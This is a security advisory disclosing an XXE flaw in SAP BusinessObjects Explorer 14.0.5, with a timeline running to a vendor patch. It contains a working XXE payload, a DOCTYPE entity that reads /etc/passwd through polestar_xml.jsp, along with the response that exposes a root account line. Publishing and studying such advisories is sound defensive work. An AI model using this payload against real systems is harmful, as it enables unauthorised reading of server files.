SAP BusinessObjects Explorer 14.0.5 XXE Injection

`#######################################################################  
#  
# COMPASS SECURITY ADVISORY  
# http://www.csnc.ch/en/downloads/advisories.html  
#  
#######################################################################  
#  
# Product: BusinessObjects Explorer  
# Vendor: SAP AG  
# Subject: Untrusted XML input parsing possible in SBOP Explorer  
# Risk: High  
# Effect: Remotely exploitable  
# Author: Stefan Horlacher  
# Date: 2014-10-10  
# SAP Security Note: 1908531 [0]  
#  
#######################################################################  
  
Abstract:  
-------------  
BusinessObjects Explorer is vulnerable against XML External Entity (XXE)   
attacks. This affected the whole application and not only the examples   
described below.   
This vulnerability could be triggered as unauthenticated user, as the   
login request uses vulnerable XML processing as well.   
  
  
Affected:  
---------  
Vulnerable:  
SAP BusinessObjects Explorer version 14.0.5 (build 882)  
  
Not tested:  
Other versions of BusinessObjects Explorer  
  
  
Technical Description:  
----------------------  
BusinessObjects Explorer does not validate user-defined XML inputs.   
Additionally, the service does run an XML interpreter allowing   
references to external entities. This leads to XML External Entity (XXE)   
attacks [1].   
  
In the following example, an explorationSpaceUpdate request has been  
used to store in the value of a country the content of file /etc/passwd:  
  
URL: /explorer/polestar_xml.jsp  
Request extract:  
POST /explorer/polestar_xml.jsp HTTP/1.1  
[CUT BY COMPASS]  
Content-Length: 33258  
=> xmlParameter=<!DOCTYPE dataDiscovery [ <!ENTITY include SYSTEM "/etc/passwd">]>  
<dataDiscovery><headers><correlationId>7E7B01A6-E238-716E-2082-  
0EB94532438F</correlationId><transactionId>0F14D6BC-ED78-8570-1415-  
0EB94532416E</transactionId></headers><session token="[CUT BY COMPASS]"  
locale="en_US"/><request><explorationSpaceUpdate infoObjectCUID="[CUT BY COMPASS]"  
displayName="" infospaceVersion="2" tip="[CUT BY COMPASS]" [CUT BY COMPASS]  
<value>%26include;</value><items selected="[CUT BY  
COMPASS]"/></row><row><value>AT</value><items selected="[CUT BY  
COMPASS]"/></row><row><value>AU</value><items selected="[CUT BY  
COMPASS]"/></row><row><value>BD</value><items  
[CUT BY COMPASS]  
Response extract:  
HTTP/1.1 200 OK  
[CUT BY COMPASS]  
Content-Length: 214  
<?xml version="1.0" encoding="UTF-8"  
=> standalone="no"?><dataDiscovery><response><explorationSpaceUpdate id="[CUT BY COMPASS]"  
infoObjectCUID="[CUT BY COMPASS]"/></response></dataDiscovery>  
  
  
The following explorationSpaceDetail request has been used to retrieve  
the stored value.  
  
URL: /explorer/polestar_xml.jsp  
Request extract:  
POST /explorer/polestar_xml.jsp HTTP/1.1  
[CUT BY COMPASS]  
Content-Length: 533  
xmlParameter=%3CdataDiscovery%3E%3Cheaders%3E%3CcorrelationId%3E[CUT BY  
COMPASS]%3C%2FcorrelationId%3E%3CtransactionId%3E[CUT BY  
COMPASS]%3C%2FtransactionId%3E%3C%2Fheaders%3E%3Csession%20token%3D%22[CUT BY  
=> COMPASS]%22%20locale%3D%22en%5FUS%22%2F%3E%3Crequest%3E%3CexplorationSpaceDetail%20id%3D  
%22[CUT BY COMPASS]%22%2F%3E%3C%2Frequest%3E%3C%2FdataDiscovery%3E  
Response extract:  
HTTP/1.1 200 OK  
[CUT BY COMPASS]  
=> <value>root:!:0:0::/:/usr/bin/ksh  
[CUT BY COMPASS]  
  
  
Timeline:  
---------  
2013-06-06: Discovery by Stefan Horlacher  
2013-06-26: Initial vendor notification  
2014-06-10: Vendor releases patch and SAP Security Note 1908531  
2014-10-10: Disclosure of the advisory  
  
  
References:  
-----------  
[0] https://service.sap.com/sap/support/notes/1908531  
[1] https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing  
`